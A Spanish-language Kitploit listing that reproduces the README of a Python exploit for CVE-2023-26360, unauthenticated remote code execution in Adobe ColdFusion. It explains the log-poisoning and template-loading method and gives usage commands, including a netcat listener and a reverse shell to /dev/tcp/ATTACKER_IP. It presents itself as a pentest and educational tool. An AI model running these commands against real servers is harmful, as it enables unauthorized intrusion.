Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Adobe_ColdFusion_RCE_Unauthenticated — Este exploit se basa en CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) y fue construido sobre el módulo de Metasploit y el jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit. | Kitploit
Herramientas/GitHubGitHub/joaoaugustom/adobe_coldfusion_rce_unauthenticated
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubjoaoaugustom/adobe_coldfusion_rce_unauthenticated

Adobe_ColdFusion_RCE_Unauthenticated

Este exploit se basa en CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) y fue construido sobre el módulo de Metasploit y el jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.

Ver Repositorio
11hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-26360 — Adobe ColdFusion RCE no autenticado

Implementación en Python del exploit de ejecución remota de código para CVE-2023-26360, basada en el análisis del módulo original de Metasploit y del trabajo previo de jakabakos.

Por qué existe esto

El PoC de jakabakos intenta inyectar <cfexecute> directamente en el parámetro _variables y leer la salida del log de ColdFusion en un solo paso. Este enfoque falla porque ColdFusion no evalúa las etiquetas CFML en línea en ese contexto, lo que da como resultado un error 500 sin ejecución de código.

Esta implementación replica el mecanismo correcto de dos pasos utilizado por el módulo de Metasploit:

  1. Envenenamiento de logs — envía un payload _variables malformado ({<cftry>CFML</cftry>) al endpoint CFC vulnerable. ColdFusion no puede analizarlo y escribe el contenido bruto — incluido el código CFML — en .
coldfusion-out.log
  • Ejecución de plantilla — utiliza la vulnerabilidad de deserialización de classname para cargar el archivo de log envenenado como plantilla de ColdFusion, haciendo que el servidor ejecute el CFML inyectado.
  • La ejecución de comandos se realiza mediante java.lang.Runtime.exec() a través de createObject, evitando cualquier dependencia de <cfexecute>, que normalmente está deshabilitado en entornos endurecidos o de producción.

    Versiones afectadas

    • Adobe ColdFusion 2021 Update 5 y anteriores
    • Adobe ColdFusion 2018 Update 15 y anteriores

    Requisitos

    root@kitploit:~
    pip install -r requirements.txt
    

    Uso

    Inicie un listener antes de ejecutar el exploit:

    root@kitploit:~
    nc -lvnp 4444
    

    Objetivo Windows:

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
    

    Objetivo Linux:

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
    

    A través de un proxy (p. ej. Burp Suite):

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
    

    Opciones

    FlagDescripción
    --hostURL base del objetivo (p. ej. http://192.168.1.10:8500)
    --cmdComando a ejecutar en el objetivo
    --winActive esta opción si el objetivo es un host Windows
    --proxyURL del proxy HTTP (opcional)

    Cómo funciona

    root@kitploit:~
    ┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
    │   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
    │             │      CF fails to parse, logs CFML     │                  │
    │             │                                       │ coldfusion-      │
    │             │         Step 2: trigger execution     │ out.log          │
    │             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
    │             │                                       │  CFML template)  │
    │  Listener   │ ◄─────────────── reverse shell ───────│                  │
    └─────────────┘                                       └──────────────────┘
    

    Referencias

    • Aviso de seguridad de Adobe
    • Análisis de Rapid7 — AttackerKB
    • Módulo de Metasploit
    • PoC de jakabakos

    Aviso legal

    Esta herramienta se proporciona únicamente con fines educativos y para evaluaciones de seguridad autorizadas (pruebas de penetración, CTFs, entornos de laboratorio). Ejecutar este exploit contra sistemas sin permiso escrito explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

    Descargar herramienta